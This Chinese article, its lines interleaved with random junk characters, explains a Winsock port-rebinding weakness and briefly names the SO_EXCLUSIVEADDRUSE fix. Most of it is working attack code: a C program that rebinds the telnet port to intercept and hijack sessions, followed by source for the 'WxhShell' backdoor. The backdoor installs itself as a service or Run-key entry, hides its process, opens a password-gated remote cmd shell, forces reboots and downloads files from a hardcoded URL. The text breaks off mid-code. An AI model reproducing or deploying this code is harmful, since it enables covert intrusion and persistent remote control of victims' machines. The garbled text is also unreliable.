在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5nb6k,+E s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bd}SB -D o)WSMV(&f saddr.sin_family = AF_INET;
,Yz+?SmSZ& ;Nij*-U4~ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
I/|n
ma/ $ " V2$g bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
!7?wd^C'f L<`g}iw 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9x,+G['Zt )5x?Qn (B 这意味着什么?意味着可以进行如下的攻击:
KHiJOeLc OO>2oH 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
zf u78 *?Y6qalSy 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7^5BnF@ +06j+I 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
lNAHn<ht WQ`T'k#ESW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
i(rY'o2 BN KR0
x[#.* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%Ski5q L\DaZ(Y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
< Ifnf6~ b*fflJ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
![%,pip2/& b"9,DQB=i #include
}FVX5/.' #include
g7i6Yj1 #include
ry"zec
B #include
(7,Awf5D~ DWORD WINAPI ClientThread(LPVOID lpParam);
wYG0*!Vj int main()
n
Lb 9$& {
{ VO4""m WORD wVersionRequested;
fO nvC* DWORD ret;
;wrgpP3 WSADATA wsaData;
Jmx}r,j BOOL val;
37Y]sJrs$ SOCKADDR_IN saddr;
|e>-v SOCKADDR_IN scaddr;
eH{ 9w8~ int err;
6Tnzg`0I SOCKET s;
9v0|lS!- SOCKET sc;
Nig-D>OS int caddsize;
F)Lbr>H?I HANDLE mt;
V;jz0B DWORD tid;
/G ;yxdb wVersionRequested = MAKEWORD( 2, 2 );
Y2EN!{YU err = WSAStartup( wVersionRequested, &wsaData );
!)34tu2 if ( err != 0 ) {
ZbUf|#GTB printf("error!WSAStartup failed!\n");
p6'8l~W+ return -1;
b??1Up }
(P-<9y@ saddr.sin_family = AF_INET;
RSC-+c6 1 _(foJRr //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
s=4.Ovd\ /jD'o> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
KG$2u:n saddr.sin_port = htons(23);
ig{5]wZ( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|{T2|iJI {
}__+[- printf("error!socket failed!\n");
6*7&X#gG return -1;
_L":Wux }
bSfQH4F val = TRUE;
HenJlo //SO_REUSEADDR选项就是可以实现端口重绑定的
~@lNBF if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
F04Etf
2k {
at!?"u printf("error!setsockopt failed!\n");
:F&WlU$L return -1;
&
j43DYw4 }
7}k8-:a% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
C#>C59 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
43XuQg4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
wG
O)!u 4 c3##:"wr if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.E&~]< {
kns]P<g ret=GetLastError();
z{\.3G printf("error!bind failed!\n");
Fm"$W^H return -1;
8*wI^*Q }
HdM;c*K listen(s,2);
%:*HzYf while(1)
32yNEP{ {
sXu]k#I^" caddsize = sizeof(scaddr);
DZue.or //接受连接请求
s><co] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
AM>:AtY if(sc!=INVALID_SOCKET)
N2>JG]G {
bb{+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
8{C3ijR if(mt==NULL)
Tx*m
p+q {
#82B`y<<y/ printf("Thread Creat Failed!\n");
hlRE\YO&8R break;
Y{KJk'xN5W }
-MjRFa }
KVuv%? CloseHandle(mt);
0NxaQ`\ }
w8qI7/ closesocket(s);
,v"A}g0" WSACleanup();
:Lx]`dSk return 0;
Zu,f&smb }
*D,T}N DWORD WINAPI ClientThread(LPVOID lpParam)
E'Bt1u {
.
fIodk SOCKET ss = (SOCKET)lpParam;
a;K:~R+@, SOCKET sc;
isjkfl-! unsigned char buf[4096];
]l%j>Vb!L SOCKADDR_IN saddr;
{F j`'0Xu; long num;
G;e}z&6<k DWORD val;
5j]%@]M$Z DWORD ret;
_bX)fnUu //如果是隐藏端口应用的话,可以在此处加一些判断
KjadX&JD //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!ZRV\31% saddr.sin_family = AF_INET;
iQKfx#kt saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
om1 /9 saddr.sin_port = htons(23);
XL:7$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*XJSa {
i+;EuHf printf("error!socket failed!\n");
:O7J9K| return -1;
6XP>p$- }
tVO x val = 100;
nMhc3t if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.NKN2 {
4:.M*Dz ret = GetLastError();
.eE5pyw+C return -1;
$)U
RY~;i }
S'txY\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
R`c5-0A {
4T:ZEvdzf ret = GetLastError();
4Xz|HU? return -1;
_#+i;$cO-X }
'Gk|&^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
D<MtLwH {
\21!NPXH2 printf("error!socket connect failed!\n");
"k.<" pf closesocket(sc);
jzQgDed ] closesocket(ss);
1n^xVk-G return -1;
~L2Fo~fw }
`6zoZM7?Y while(1)
Jps!,Mflc {
i|t$sBIh //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
q45n.A6a //如果是嗅探内容的话,可以再此处进行内容分析和记录
z8oSh t`+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;.iy{&$ num = recv(ss,buf,4096,0);
5q\]] LV> if(num>0)
TtzB[F send(sc,buf,num,0);
[Y[|:_+5 else if(num==0)
fA8 ,wy|> break;
?g 3sv5\u num = recv(sc,buf,4096,0);
COap* if(num>0)
R#0UwRjeF send(ss,buf,num,0);
%n^]1R# else if(num==0)
#r\uh\Cy break;
=#W6+=YN8 }
v"j7},P@ closesocket(ss);
L(.5:&Y=` closesocket(sc);
k20tn
ew return 0 ;
G]{)yZ'} }
y0xte& >">-4L17m 139_\=5|U/ ==========================================================
Y9ru~&/o$ hGsYu ) 下边附上一个代码,,WXhSHELL
ujaaO6oZ7 o!Y7y1$ ==========================================================
MD +Q_ +7=3[K #include "stdafx.h"
Lr`yl$6 (uSfr]89' #include <stdio.h>
S;Vj5 #include <string.h>
[ACa<U/ #include <windows.h>
um/iK}O #include <winsock2.h>
8"+Kz #include <winsvc.h>
;e+ErN`a.~ #include <urlmon.h>
4XRVluD%W. $(BW |Pc #pragma comment (lib, "Ws2_32.lib")
p &A3l #pragma comment (lib, "urlmon.lib")
KyjN' F$ 0ZO!_3m$r #define MAX_USER 100 // 最大客户端连接数
'h$1vT #define BUF_SOCK 200 // sock buffer
T5ol2 #define KEY_BUFF 255 // 输入 buffer
4v;/"4)' 7v{Dwg #define REBOOT 0 // 重启
YQ]W<0( #define SHUTDOWN 1 // 关机
env]*gx+= :V&#Oo #define DEF_PORT 5000 // 监听端口
d;K,2 kEi!q #define REG_LEN 16 // 注册表键长度
2QdqVwm #define SVC_LEN 80 // NT服务名长度
8< R#} W_%Dg]l
// 从dll定义API
6:H@=fEv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
%5'6^bT typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tks1*I$S< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&4LrV+`$V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Uo# Pe@ieQ @,$>H7o // wxhshell配置信息
wtK+\Qnb struct WSCFG {
NO QM:tBO> int ws_port; // 监听端口
)KG.:BO< char ws_passstr[REG_LEN]; // 口令
3= PRe int ws_autoins; // 安装标记, 1=yes 0=no
H8X{!/,^ char ws_regname[REG_LEN]; // 注册表键名
WOh?/F[@u char ws_svcname[REG_LEN]; // 服务名
L^dF
)y? char ws_svcdisp[SVC_LEN]; // 服务显示名
Y-v6xUc{F char ws_svcdesc[SVC_LEN]; // 服务描述信息
(m13
ong char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`j9 ;9^ int ws_downexe; // 下载执行标记, 1=yes 0=no
A2..gs/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
dj 4:r!5_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
29:] cL(5 jx J5F3d };
nwf(`=TC (V&$KDOA // default Wxhshell configuration
W2'u]1bs struct WSCFG wscfg={DEF_PORT,
&=~Jw5WK "xuhuanlingzhe",
S3$&}I < 1,
_vm ~yKId "Wxhshell",
p[>!;qI "Wxhshell",
}Ge$?ZFH "WxhShell Service",
_->d41 "Wrsky Windows CmdShell Service",
EJrP{GH "Please Input Your Password: ",
iU+O(vi 1,
xQ%N%
` "
http://www.wrsky.com/wxhshell.exe",
=A{F&:+a] "Wxhshell.exe"
)vn{?Ulj };
;ry~x:7L7 EN^5Hppb // 消息定义模块
JD9)Qelw^$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Phr+L9Eog char *msg_ws_prompt="\n\r? for help\n\r#>";
Cs))9'cD] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
pC^d-Ii char *msg_ws_ext="\n\rExit.";
MaN6bM char *msg_ws_end="\n\rQuit.";
3s;^p,9
Y char *msg_ws_boot="\n\rReboot...";
*mby fu0q char *msg_ws_poff="\n\rShutdown...";
;?4EVZ#o char *msg_ws_down="\n\rSave to ";
<- L}N ' ~wvu7 char *msg_ws_err="\n\rErr!";
6/6M.p char *msg_ws_ok="\n\rOK!";
g%TOYZr!X BlnR{Y char ExeFile[MAX_PATH];
1
8%+ Hy= int nUser = 0;
GCZx-zD~> HANDLE handles[MAX_USER];
9(6f:D int OsIsNt;
3N257] Lcb5^e?'Q SERVICE_STATUS serviceStatus;
Y7BmW+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
gamE^Ee a`I
\19p] // 函数声明
>cJix
1 int Install(void);
0fu*}v" int Uninstall(void);
8
kvF~d
; int DownloadFile(char *sURL, SOCKET wsh);
z9Z4MXl int Boot(int flag);
\(_(pcl void HideProc(void);
/*P) C'_M int GetOsVer(void);
$O3.ex V int Wxhshell(SOCKET wsl);
gWQ(B void TalkWithClient(void *cs);
Q<0X80w> int CmdShell(SOCKET sock);
>
9.%hSy int StartFromService(void);
V_zU?}lZ^ int StartWxhshell(LPSTR lpCmdLine);
V/`vX;% s@zO`uBc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
(1 (~r"4I VOID WINAPI NTServiceHandler( DWORD fdwControl );
7>"dc+Fg /g$G
G9 // 数据结构和表定义
L>L IN 1A SERVICE_TABLE_ENTRY DispatchTable[] =
U$|q]N {
PzOnS {wscfg.ws_svcname, NTServiceMain},
;6:9 EEd {NULL, NULL}
bMn)lrsX };
-U*J5Q Qo32oT[DM // 自我安装
,BUrZA2\U$ int Install(void)
1oe,>\\ {
>dx/k)~~-L char svExeFile[MAX_PATH];
`*6|2 HKEY key;
[;H-HpBaa strcpy(svExeFile,ExeFile);
kMJ}sS $GP66Ev // 如果是win9x系统,修改注册表设为自启动
60;_^v if(!OsIsNt) {
eSQkW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d~ +(g! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
EHN(K- RegCloseKey(key);
OClG dFJ| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
oqAO@<dL! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
aVCPaYe^ RegCloseKey(key);
yIhPB8QL return 0;
s]]lB018O\ }
;4l8Qg
7 }
?VlGTMaS+ }
~UJ.A<>Fh else {
HjIIhl?UY vJxEF&X // 如果是NT以上系统,安装为系统服务
w?>f:2(=[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
~| b\1SR if (schSCManager!=0)
C$q};7b1N {
3~{I/ft SC_HANDLE schService = CreateService
2xf#@`U (
)9^)t schSCManager,
Z#.1p'3qm1 wscfg.ws_svcname,
,Kl:4 Tv wscfg.ws_svcdisp,
<rtKPlb// SERVICE_ALL_ACCESS,
/jNvHo^B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
! ui SERVICE_AUTO_START,
^3[_4av SERVICE_ERROR_NORMAL,
!m^;wkrY svExeFile,
GF6 o NULL,
VwpC UW NULL,
n&Ckfo_D NULL,
10fxK NULL,
d7Vp^^}( NULL
R\|,GZ!`+ );
1~t.2eU G if (schService!=0)
]XU4nNi {
8T1zL.u>q CloseServiceHandle(schService);
VcGl8~#9 CloseServiceHandle(schSCManager);
>ei~:z]R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>MJ#|vO strcat(svExeFile,wscfg.ws_svcname);
G &xtL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Pr1qX5> = RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
_aR{B-E RegCloseKey(key);
T?Kh' return 0;
1^LdYO?g' }
("\{=XAQ }
KF
zI27r CloseServiceHandle(schSCManager);
Ym1vq= }
f[1cN`|z }
E/g"}yR s>m2qSu return 1;
yfK}1mx)j }
VxBBZsZO~ kN.;;HFq# // 自我卸载
jB(+9?;1${ int Uninstall(void)
D#UuIZ {
''YqxJ fb HKEY key;
I<O$);DV' p;>A:i if(!OsIsNt) {
u
[._RA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`mzlOB RegDeleteValue(key,wscfg.ws_regname);
M2Jf-2 RegCloseKey(key);
g35!a<JW
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ez;Q o8 RegDeleteValue(key,wscfg.ws_regname);
JD#x+~pb,8 RegCloseKey(key);
[EDX@Kdq) return 0;
h <e }
k?Z:=.YW }
<Cv(@A-> }
[K&%l]P7 else {
[
N|X !{g<RS(c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4d`YZNvZW/ if (schSCManager!=0)
qFD ZD)K {
3Rc*vVnI SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
4~,Z ' k if (schService!=0)
d
#1Y^3n {
sSh{.XuB+3 if(DeleteService(schService)!=0) {
sqrLys_S CloseServiceHandle(schService);
l::q
F 0 CloseServiceHandle(schSCManager);
R3~,&ab return 0;
B:Ts_9* }
J-hJqR*;K CloseServiceHandle(schService);
ZU73UL }
g%&E~V/g$ CloseServiceHandle(schSCManager);
>E>yA d }
mY.v: }
1Z)Et, 8cG?p return 1;
G
IN|cv= }
#B;P4n3 c,4~zN8Ou // 从指定url下载文件
-g@!\{ int DownloadFile(char *sURL, SOCKET wsh)
tw_o?9 {
moM?aYm HRESULT hr;
g}s$s} char seps[]= "/";
Y~AjcqS char *token;
ZeP=}0TGjn char *file;
zY*9M3(X char myURL[MAX_PATH];
Qs elW] char myFILE[MAX_PATH];
uZC=]Ieh UDHWl_%L strcpy(myURL,sURL);
rP:g`?*V token=strtok(myURL,seps);
{Sf[<I while(token!=NULL)
,WRm{v0f^ {
U05;qKgkDF file=token;
OP`f[lCiL token=strtok(NULL,seps);
hx9{?3# }
--WQr]U/ E+aePo U GetCurrentDirectory(MAX_PATH,myFILE);
S"cTi[9 strcat(myFILE, "\\");
m\56BP-AM strcat(myFILE, file);
5dePpF D5 send(wsh,myFILE,strlen(myFILE),0);
~w?02FU send(wsh,"...",3,0);
fzIs^(:fl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
; ~pgF_ if(hr==S_OK)
r[S(VPo[() return 0;
G:<f(Gy else
+/ZIs|B4,z return 1;
'XK 'T\m PMfW;%I. }
4yyw:" JT?u[pQ^ // 系统电源模块
Dh8ECy5k<* int Boot(int flag)
gQ_<;'m)2 {
)2&3D"V HANDLE hToken;
tm+*ik=x| TOKEN_PRIVILEGES tkp;
hzo> :U G?s9c0f if(OsIsNt) {
o;$xN3f, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
'JOUx_@z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
;7'O=% tkp.PrivilegeCount = 1;
$Zu?Gd? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+V4)>< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
gJQ#j~' if(flag==REBOOT) {
:W.H#@'( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
rYb5#aT[ return 0;
|J-X3`^\H }
.9bi%=hP else {
V&*IZt& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,8e'<y return 0;
.PB!1C.}@ }
o{PG&
}K }
!*-|!Vz else {
S(gr>eC5 if(flag==REBOOT) {
`D4Wg<,9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-c_l
n K return 0;
x3q^}sj% }
RlOy,/-< else {
2:38CdkYp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
'(.5!7?Qc return 0;
^Hx}.?1 }
e9{ii2M }
$
VT) .C'\U[A{ return 1;
-8 uS# }
6u, g 1}d
F,e // win9x进程隐藏模块
Va8
}JD void HideProc(void)
UY3)6}g6 {
ZC?~RXL( v\:AOY' HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
\n{#r`T if ( hKernel != NULL )
&<t%u[3 {
}j/\OY _& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Rw?w7?I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
zG9FO/@av FreeLibrary(hKernel);
H8eEBMGo }
%g9ym@s 74([~Qs _M return;
|5^
iqW }
9<gW~
s> //&3{B // 获取操作系统版本
&W\e 5X<A int GetOsVer(void)
?MH=8Cl1w {
[U&k"s? OSVERSIONINFO winfo;
rS [4Pey winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*j3U+HV GetVersionEx(&winfo);
@NM0ILE if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
SY,ns*>1F return 1;
&]TniQH else
tK3$,9+ return 0;
> "hP }
\l/(L5gY d:'{h"M6 // 客户端句柄模块
Q`k;E}x_- int Wxhshell(SOCKET wsl)
&{Z+p(3Gj {
aT,WXW* SOCKET wsh;
2XR!2_)O5 struct sockaddr_in client;
7J);{ &x9h DWORD myID;
bW`nLiw}% wq?"NQ?O< while(nUser<MAX_USER)
k6#$Nb606 {
e|tx`yA int nSize=sizeof(client);
jkk%zu wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
zZMKgFR@ if(wsh==INVALID_SOCKET) return 1;
bc(MN8b ]j ?8O5%IrJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
g:!U,<C^a if(handles[nUser]==0)
(-S^L'v62v closesocket(wsh);
!j $cBf4 else
Ce+:9} [ nUser++;
mZiKA-t }
Yi9Y`~J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
fM.#FT?? XpANaqH\ return 0;
oXZWg~&l^ }
"mn?* CbZ;gjgY* // 关闭 socket
vAM1|,U void CloseIt(SOCKET wsh)
,u}wW*?,sT {
+
E{[j closesocket(wsh);
ozY$}|sjDT nUser--;
H^'%$F?Ss ExitThread(0);
G ]h }
F:jNv3W1 +(!/(2>~ // 客户端请求句柄
uihH")Mo void TalkWithClient(void *cs)
OG{*:1EP {
Wrp~OF0k y{M7kYWtHV SOCKET wsh=(SOCKET)cs;
r1HG$^ char pwd[SVC_LEN];
Kb]}p char cmd[KEY_BUFF];
>~ *wPoW char chr[1];
,|*Gr"Q= int i,j;
"EpH02{i ,x\qYz+7| while (nUser < MAX_USER) {
%vO(.A+ *$O5.`] if(wscfg.ws_passstr) {
Lx_Jw\YO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qb;b.P?~D$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@tSB^&jUWu //ZeroMemory(pwd,KEY_BUFF);
|cd"cx+ i=0;
W$X/8K bn while(i<SVC_LEN) {
%f CkR`: >K'dgJ245 // 设置超时
uG -+&MU? fd_set FdRead;
'9QEG/v struct timeval TimeOut;
%e[E@H 7 FD_ZERO(&FdRead);
#|T"6jJaQ FD_SET(wsh,&FdRead);
t;+b*S6D TimeOut.tv_sec=8;
;HCK iHC TimeOut.tv_usec=0;
-~c-mt int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Q&0`(okb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
F=Xb_Gd` 3rK\
f4' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
8GBKFNR8 pwd
=chr[0]; E q4tcZ
if(chr[0]==0xd || chr[0]==0xa) { v2tVq_\AMx
pwd=0; 8d$|JN;)
break; xbi\KT`~
} ZklO9Ox(
i++; T
9`AL
} jW7ffb
`O
;o'>`=Y
// 如果是非法用户,关闭 socket K bQXH!J
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xq.kH| bH
} 5`3x(=b
P$z%:Q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;i.MDW^N
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tQG'f*4
GH':Yk
while(1) { 5=*i!c
_m
5$!idfDr|m
ZeroMemory(cmd,KEY_BUFF); ?#a&eW
xyo~p,(~t
// 自动支持客户端 telnet标准 Y'000#+
j=0; j|8!gW
while(j<KEY_BUFF) { $S' TW3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [^GBg>k
cmd[j]=chr[0]; #)n$Q^9&
if(chr[0]==0xa || chr[0]==0xd) { sCJ|U6Q-
cmd[j]=0; X9PbU1o;
break; @-K[@e/uwy
} ;07$ G+['
j++; Xl1% c7r.1
} kIa16m
9:g A0Z
// 下载文件 _1RvK? ;.{
if(strstr(cmd,"http://")) { J;<dO7 j5
send(wsh,msg_ws_down,strlen(msg_ws_down),0); fn/?I\
if(DownloadFile(cmd,wsh)) s#<fj#S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t{B@k[|
else dSKvs"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5s\;7>
} |X*y-d77W
else { >VZxDJ$R
v.*fJ
switch(cmd[0]) { $@kOMT
Vo^J2[U
// 帮助 #|8%h
case '?': { R`$Y]@i&B
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CAx$A[f<
break; W%5))R$
} I*j~5fsS'
// 安装 gFuK/]gzI
case 'i': { k?HdW(HA
if(Install()) cQxUEY('+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TDZ==<C
else @"h4S*U
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I@z@s}x>
break; prt(xr4@
} 8.jf6
// 卸载 "6IZf>N@#
case 'r': { 1`|Z8Jpocj
if(Uninstall()) 0827z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h3.CvPYy1
else m+8:_0x "
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :FU?vh$)
break; @i> r(X
} Z3MhHvvgp{
// 显示 wxhshell 所在路径 F5+FO^3E
case 'p': { W4av?H
char svExeFile[MAX_PATH]; FZ%h7Oe
strcpy(svExeFile,"\n\r"); gnzg(Y]5w
strcat(svExeFile,ExeFile); PX?%}~
v
send(wsh,svExeFile,strlen(svExeFile),0); 9;I%Dv
break; Zgp9Uu}"
} a_/4 ^+
// 重启 doTbol?+
case 'b': { &c"!Y)%G
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !4#qaH-Q
if(Boot(REBOOT)) ]v5/K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )uAY_()/
else { DazoY&AWE
closesocket(wsh); X0+E!~X$zM
ExitThread(0); Fab]'#1q4
} bBc<p{
break; KF(y`(8f
} x0%m}P/
// 关机 @1xVWSF
case 'd': { R+ \%
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d0}(d Gl
if(Boot(SHUTDOWN)) K"t?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NAtDt=
else { ID`C
closesocket(wsh); >`&2]Wc)
ExitThread(0); )N~ p4kp
} j7:r8? G
break; \z2y?"\?
} I+twI&GS
// 获取shell NwOV2E6@OW
case 's': { 6q'Q?Uw^
CmdShell(wsh); ,6MJW#~]
closesocket(wsh); Hmm0H6&u
ExitThread(0); 'MX|=K!C
break; !%}n9vr!}\
} o:cTc:l)
// 退出 @,= pG
case 'x': { ,J+L_S+B~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9XQE5^
CloseIt(wsh); W+u,[_
break; 6&'kN2
} wXp:XZ:]T
// 离开 QsxvA;7%
case 'q': { wmVb0~[
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q[#8ErUY
closesocket(wsh); 3f^jy(
WSACleanup(); c\>I0HH;!
exit(1); Z2g<"M
break; { Mb<onW
} ng|^Zm%
} @8`I!fZ
} 3B%7SX
G na%|tUz|
// 提示信息 W;R6+@I[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XNx$^I=
} EUI*:JU-
} Q\IViM
;*zLf 9i
return; 5*A5Y E-
} ^1c7\"{
y2?9pVLa\y
// shell模块句柄 'l!\2Wv2
int CmdShell(SOCKET sock) l,Y5VGiH#
{ Wk3-J&QbS
STARTUPINFO si; 2brY\c
F
ZeroMemory(&si,sizeof(si)); r{d@74
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CeOA_M
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x.t&NP^V)
PROCESS_INFORMATION ProcessInfo; P}a$#a'!
char cmdline[]="cmd"; q$yg^:]2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CDtL.a\
return 0; V D7^wd9
} 4?@#w>(
'l\PL1
// 自身启动模式 YR~e_cA:
int StartFromService(void) YWd2bRb
{ `)]W~
typedef struct D9P,[:"
{ :,v(lq
DWORD ExitStatus; v,Z]Vqk
DWORD PebBaseAddress; (ot56`,k
